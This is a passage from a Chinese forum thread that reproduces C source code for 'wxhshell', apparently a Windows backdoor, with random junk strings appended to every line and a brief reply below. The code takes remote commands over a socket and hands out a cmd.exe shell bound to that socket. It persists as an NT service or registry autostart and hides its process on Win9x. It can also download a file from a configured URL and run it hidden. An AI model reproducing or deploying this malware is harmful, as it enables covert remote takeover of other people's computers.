  // 帮助 &T4Cn@  
  case '?': { _\V{X}ftqa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sT8kVN|Uv  
    break; %Zi,nHg8  
  } |D_n4#X7u  
  // 安装 OsuSx^}  
  case 'i': { B 0fo[Ev  
    if(Install()) ^ZZ@!Udy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C3`.-/{D"  
    else  K`mxb}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *g_>eNpXD  
    break; dL Py%q  
    } R=f5:8D<-  
  // 卸载 9bYHb'70  
  case 'r': { Boz_*l|  
    if(Uninstall()) O9 r44ww  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Pf ,5=*B  
    else |H I A[.q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kys-~&@+  
    break; 53#5p;k  
    } L?5t <`#lw  
  // 显示 wxhshell 所在路径 rEyMSLN  
  case 'p': { W2V@\  
    char svExeFile[MAX_PATH]; (IWd?,H,n  
    strcpy(svExeFile,"\n\r"); 91'^--N  
      strcat(svExeFile,ExeFile); m*WEge*$t  
        send(wsh,svExeFile,strlen(svExeFile),0); p{_ O*bo  
    break; &5CeRx7%  
    } ]$X=~>w  
  // 重启 . *+7xL  
  case 'b': { bJu,R-f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TuPxyB  
    if(Boot(REBOOT)) u(Q(UuI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _!T$|,a  
    else { p5 PON0dS  
    closesocket(wsh); Z-=7QK.\{  
    ExitThread(0); &]A1 _dy  
    } %x)U8  
    break; +mel0ZStS  
    } R}YryzV5  
  // 关机 m=b+V#4i(  
  case 'd': { 8IcQpn#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J~ rC  
    if(Boot(SHUTDOWN)) W`rE\P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -CNv=vj 3  
    else { S 2` ;7  
    closesocket(wsh); 7 @Qlp$[F  
    ExitThread(0); CHSD 8D  
    } 'Z%aBCM  
    break; = ft$j  
    } NWX%0PGZ  
  // 获取shell H$'kWU*l  
  case 's': { Y\2>y"8>$x  
    CmdShell(wsh); =<tEc+!T3  
    closesocket(wsh); MZ[g|o!)v  
    ExitThread(0); w'j]Y%  
    break;  [?(W7  
  } O-m}P  
  // 退出 =njj.<BO  
  case 'x': { @)Y7GM+^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZjID<5#  
    CloseIt(wsh); (3S/"ZE  
    break; VZl0)YLK  
    } / S^m!{  
  // 离开 J*k=|+[  
  case 'q': { >I ; #BE3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u8\QhUk'G  
    closesocket(wsh); eJdQ7g[>  
    WSACleanup(); X'p%$HsMG  
    exit(1); [aUT #  
    break; T7X2$ '  
        } u01^ABn  
  } jYx(  
  } 7q=xW6  
|#,W3Ik(l  
  // 提示信息 )W#g@V)>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p 5w g+K  
} 4& WzG nK  
  } `{[C4]Ew/  
>sY+Y22U  
  return; 5.;$9~d  
} ]zAg6*-/B  
$VNn`0^gF  
// shell模块句柄 v Cr$miZ  
int CmdShell(SOCKET sock) f4^_FK&  
{ `{;&Qcg6m  
STARTUPINFO si; IKj1{nZvDc  
ZeroMemory(&si,sizeof(si)); `2+52q<FO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l0o_C#"<S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W u{nC  
PROCESS_INFORMATION ProcessInfo; .;Yei6H  
char cmdline[]="cmd"; AE~}^(G`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <T9m.:l  
  return 0; G7xjW6^T  
} !7|9r$  
BE;iC.rW  
// 自身启动模式 ou4?`JF)-  
int StartFromService(void) 1@Gv`{v  
{ x/v+7Pt_  
typedef struct 2?&ptN) `N  
{ `84yGXLK  
  DWORD ExitStatus; x$4'a~E  
  DWORD PebBaseAddress; XAkl,Y  
  DWORD AffinityMask; )^3655mb  
  DWORD BasePriority; o*8 pM`uw  
  ULONG UniqueProcessId; W{2y*yqY  
  ULONG InheritedFromUniqueProcessId; .w"O/6."  
}   PROCESS_BASIC_INFORMATION; M6n.uho/  
I#%-A  
PROCNTQSIP NtQueryInformationProcess; I<f M8t.Y>  
&Kwt vUN{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XS@6jbLE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ax}Xsk_  
]P5u:~U  
  HANDLE             hProcess; *2hzReM  
  PROCESS_BASIC_INFORMATION pbi; Cl=ExpX/O  
~Y[b QuA=)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }x-8@9S~z  
  if(NULL == hInst ) return 0; L@uKE jR  
xEqrs6sR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eZo%q,L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4,8 =[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j'cS_R  
1NJ|%+I  
  if (!NtQueryInformationProcess) return 0; 'JVvL  
3 Q;l*xu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .$;GVJ-:5  
  if(!hProcess) return 0; Dbd5d]]n3  
F*u;'K   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G3n7x?4m  
s"Wdbw(O'  
  CloseHandle(hProcess); jiDYPYx;I  
F[Up  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m5*RB1  
if(hProcess==NULL) return 0; ^%.<(:k[L  
 \ Ld7fP  
HMODULE hMod; chbs9y0  
char procName[255]; X+ jSB,  
unsigned long cbNeeded; Vy VC#AK,  
$cedO']  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v'=APl+_  
)i>KgX  
  CloseHandle(hProcess); BGS6uV4^>  
~b/>TKn+  
if(strstr(procName,"services")) return 1; // 以服务启动 mB`r6'#=  
&,xM;8b  
  return 0; // 注册表启动 7v_e"[s~  
} A>k;o0r  
1lM0pl6M  
// 主模块 oB@C-(M  
int StartWxhshell(LPSTR lpCmdLine) h !1c(UR  
{ a6OT2B  
  SOCKET wsl; A |B](MW%O  
BOOL val=TRUE; u""= 9>0  
  int port=0; QO%K`}Q}  
  struct sockaddr_in door; h9mR+ng*oD  
.N2Yxty8>  
  if(wscfg.ws_autoins) Install(); 7+bzCDKU  
H?m2|.  
port=atoi(lpCmdLine); z m%\L/BF  
t+tGN\q  
if(port<=0) port=wscfg.ws_port; OZD/t(4?6s  
pOXEM1"2A  
  WSADATA data; W*2SlS7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9"e!0Q40  
Y|L57F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zc#`qa:0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]SI`fja/  
  door.sin_family = AF_INET; Q2o:wXvj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YL+W 4 ld  
  door.sin_port = htons(port); RPu-E9g@  
`:&{/|uP7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YH9BJ  
closesocket(wsl); KK}&4^q  
return 1; B5hGzplS  
} bPEAG=l"-  
Fei$94 a  
  if(listen(wsl,2) == INVALID_SOCKET) { ,>Q,0bVhH0  
closesocket(wsl); 5sH ee,  
return 1; %9K@`v-  
} $ uqlJG#`  
  Wxhshell(wsl); 7gkHKdJoMA  
  WSACleanup(); TBzM~y  
^AN9m]P  
return 0; _\6-]  
R;%iu0  
} AWzpk }\  
:c>,=FUT  
// 以NT服务方式启动 M:~#"lfK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]KmYPrCl0  
{ B4?P"|  
DWORD   status = 0; K"D9.%7  
  DWORD   specificError = 0xfffffff; >_o_&;=`v  
Kt-@a%O0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <Aa%Uwpc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Je'$V%{E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KK?}`o  
  serviceStatus.dwWin32ExitCode     = 0; ?$?Ni)Z  
  serviceStatus.dwServiceSpecificExitCode = 0; 4d#W[  
  serviceStatus.dwCheckPoint       = 0; *QLbrR  
  serviceStatus.dwWaitHint       = 0; q^s$4q  
Ugn"w E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nsPM`dz/  
  if (hServiceStatusHandle==0) return; {_Y\Y&#  
GM5::M]fS  
status = GetLastError(); Y<B| e91C  
  if (status!=NO_ERROR) ^l9S5 {  
{ <MYD`,$yu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h(9K7  
    serviceStatus.dwCheckPoint       = 0; j<c_*^/'9  
    serviceStatus.dwWaitHint       = 0; T M+7>a$  
    serviceStatus.dwWin32ExitCode     = status; 8L#sg^1V  
    serviceStatus.dwServiceSpecificExitCode = specificError; D`ZYF)[}J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r`=d4dK-  
    return; mVxS[Gq  
  } )9*WmFc+#  
*]LM2J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NH{0KZ R  
  serviceStatus.dwCheckPoint       = 0; uJ[dO}  
  serviceStatus.dwWaitHint       = 0; 4x:fOhtP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?h {&  
} ;RR)C@n1  
8WAg{lVs  
// 处理NT服务事件,比如:启动、停止 M*x_1h5n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'F@'4[uda  
{ Mqq7;w@(J  
switch(fdwControl) OlP#|x*  
{ }} IvZG&  
case SERVICE_CONTROL_STOP: Nz m 7E]  
  serviceStatus.dwWin32ExitCode = 0; mGIS[_dcs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G  B15  
  serviceStatus.dwCheckPoint   = 0; j9Lc2'  
  serviceStatus.dwWaitHint     = 0; n7 S[ F3  
  { 3V-pLs|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $I_aHhKt  
  } 0j*8|{|  
  return; aJub("  
case SERVICE_CONTROL_PAUSE: xHf l>C'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; noacnQ_I$  
  break; YcIk{_N3  
case SERVICE_CONTROL_CONTINUE: /t816,i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t ({:TQ  
  break; nF)|oA   
case SERVICE_CONTROL_INTERROGATE: \=.iM?T  
  break; "2 Kh2[K  
}; _ ZJP]5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s)}C&T$Y.  
} $ED<:[3N  
 3N;X|pa  
// 标准应用程序主函数 _W$4Qn+f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8^O|Aa$IF:  
{ 4Y Kb~1qkk  
YYhRdU/g  
// 获取操作系统版本 GSypdEBj+w  
OsIsNt=GetOsVer(); $Q62 7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Mq$e5&/  
BsxQW`>^y  
  // 从命令行安装 f;QWlh"9  
  if(strpbrk(lpCmdLine,"iI")) Install(); NbSwn}e_  
=x=#Etj|  
  // 下载执行文件 |S/nq_g]  
if(wscfg.ws_downexe) { =l {>-`:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LdA&F& pI  
  WinExec(wscfg.ws_filenam,SW_HIDE); %KqXtc`O  
} `*WR[c  
GR/ p%Y(  
if(!OsIsNt) { 90Q}9T\  
// 如果时win9x,隐藏进程并且设置为注册表启动 hEDj"`Px  
HideProc(); 7Ij'!@no  
StartWxhshell(lpCmdLine); pZXva9bE  
} qPWYY  
else #\fAp RL  
  if(StartFromService()) lrK5q  
  // 以服务方式启动 ^"l4   
  StartServiceCtrlDispatcher(DispatchTable);  I"r*p?  
else uA,K}sNRZ  
  // 普通方式启动 dqcfs/XhP  
  StartWxhshell(lpCmdLine); s@0#w*N  
r6"t`M  
return 0; [gU z9iU  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八